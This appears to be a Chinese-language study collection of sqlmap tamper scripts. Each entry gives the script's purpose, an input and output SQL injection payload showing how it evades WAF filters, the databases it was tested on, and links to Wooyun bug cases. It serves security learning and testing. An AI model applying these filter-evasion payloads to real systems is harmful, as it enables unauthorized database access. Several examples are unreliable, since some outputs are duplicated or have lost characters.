4760

0x00 背景

sqlmap中的tamper腳本來對目標進行更高效的攻擊。

由于烏云知識庫少了sqlmap-tamper 收集一下，方便學習。根據sqlmap中的tamper腳本可以學習過繞過一些技巧。我收集在找相關的案例作為可分析什么環境使用什么tamper腳本。小學生畢業的我，著能偷偷說一下多做一些收集對吸收知識很快。

0x01 start

腳本名：apostrophemask.py

作用：用utf8代替引號

#!sql
Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against: all

腳本名：equaltolike.py

作用：like 代替等號

#!sql
Example:

*   Input: SELECT * FROM users WHERE id=1

*   Output: SELECT * FROM users WHERE id LIKE 1

案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三：http://wooyun.org/bugs/wooyun-2010-072489

腳本名：space2dash.py

作用：繞過過濾‘=’ 替換空格字符（”），（’ – ‘）后跟一個破折號注釋，一個隨機字符串和一個新行（’ n’）

#!sql
Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against: * MSSQL * SQLite

案例一：http://wooyun.org/bugs/wooyun-2010-062878

腳本名：greatest.py

作用：繞過過濾’>’ ,用GREATEST替換大于號。

#!sql
Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

腳本名：space2hash.py

作用：空格替換為#號隨機字符串以及換行符

#!sql
Example:

*   Input: 1 AND 9227=9227
*   Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

MySQL Tested against:
MySQL 4.0, 5.0

參考:法克的一篇文章

腳本名：apostrophenullencode.py

作用：繞過過濾雙引號，替換字符和雙引號。

#!sql
Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'

Tested against:

MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

腳本名：halfversionedmorekeywords.py

作用：當數據庫為mysql時繞過防火墻，每個關鍵字之前添加mysql版本評論

#!sql
Example:

("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:

MySQL < 5.1

Tested against:

MySQL 4.0.18, 5.0.22

腳本名：space2morehash.py

作用：空格替換為 #號以及更多隨機字符串換行符

#!sql
Example: 

* Input: 1 AND 9227=9227 

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

案例一:91ri一篇文章

腳本名：appendnullbyte.py

作用：在有效負荷結束位置加載零字節字符編碼

#!sql
Example: ('1 AND 1=1') '1 AND 1=1%00'

Requirement:

Microsoft Access

腳本名：ifnull2ifisnull.py

作用：繞過對 IFNULL 過濾。替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’

#!sql
Example:

('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'

Requirement:

MySQL
SQLite (possibly)
SAP MaxDB (possibly)

Tested against:

MySQL 5.0 and 5.5

腳本名：space2mssqlblank.py(mssql)

作用：空格替換為其它空符號

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:

案例一: wooyun.org/bugs/wooyun-2010-062878

腳本名：base64encode.py

作用：用base64編碼替換 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

腳本名：space2mssqlhash.py

作用：替換空格

#!sql
Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL

腳本名：modsecurityversioned.py

作用：過濾空格，包含完整的查詢版本注釋

#!sql
Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against:

MySQL 5.0

腳本名：space2mysqlblank.py

作用：空格替換其它空白符號(mysql)

#!sql
Example: 

* Input: SELECT id FROM users 

* Output: SELECT%0Bid%0BFROM%A0users

Requirement:

MySQL

Tested against:

MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

腳本名：between.py

作用：用between替換大于號（>）

#!sql
Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'

Tested against:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

腳本名：space2mysqldash.py

作用：替換空格字符（”）（’ – ‘）后跟一個破折號注釋一個新行（’ n’）

注：之前有個mssql的這個是mysql的

#!sql
Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'

Requirement:

MySQL
MSSQL

腳本名：multiplespaces.py

作用：圍繞SQL關鍵字添加多個空格

#!sql
Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

腳本名：space2plus.py

作用：用+替換空格

#!sql
Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all

腳本名：bluecoat.py

作用：代替空格字符后與一個有效的隨機空白字符的SQL語句。然后替換=為like

#!sql
Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'

Tested against:

MySQL 5.1, SGOS

腳本名：nonrecursivereplacement.py

雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters

#!sql
Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all

腳本名：space2randomblank.py

作用：代替空格字符（“”）從一個隨機的空白字符可選字符的有效集

#!sql
Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

腳本名：sp_password.py

作用：追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾

#!sql
Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL

腳本名：chardoubleencode.py

作用: 雙url編碼(不處理以編碼的)

#!sql
Example: 

* Input: SELECT FIELD FROM%20TABLE 

* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

腳本名：unionalltounion.py

作用：替換UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

腳本名：charencode.py

作用：url編碼

#!sql
Example:

*   Input: SELECT FIELD FROM%20TABLE

*   Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

腳本名：randomcase.py

作用：隨機大小寫 Example:

Input: INSERT
Output: InsERt

Tested against:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

腳本名：unmagicquotes.py

作用：寬字符繞過 GPC addslashes

#!sql
Example: 

* Input: 1′ AND 1=1 

* Output: 1%bf%27 AND 1=1–%20

腳本名：randomcomments.py

作用：用/**/分割sql關鍵字

#!sql
Example:

‘INSERT’ becomes ‘IN//S//ERT’

腳本名：charunicodeencode.py

作用：字符串 unicode 編碼

#!sql
Example: 

* Input: SELECT FIELD%20FROM TABLE 

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

ASP
ASP.NET

Tested against:

Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

腳本名：securesphere.py

作用：追加特制的字符串

#!sql
Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"

Tested against: all

腳本名：versionedmorekeywords.py

作用：注釋繞過

#!sql
Example: 

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# 

* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

Requirement:

MySQL >= 5.1.13

腳本名：space2comment.py

作用：Replaces space character (‘ ‘) with comments ‘/**/’

#!sql
Example: 

* Input: SELECT id FROM users 

* Output: SELECT//id//FROM/**/users

Tested against:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

腳本名：halfversionedmorekeywords.py

作用：關鍵字前加注釋

#!sql
Example: 

* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa 

* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

Requirement:

MySQL < 5.1

Tested against:

MySQL 4.0.18, 5.0.22

收集于: http://www.91ri.org/7852.html http://www.91ri.org/7869.html http://www.91ri.org/7860.html

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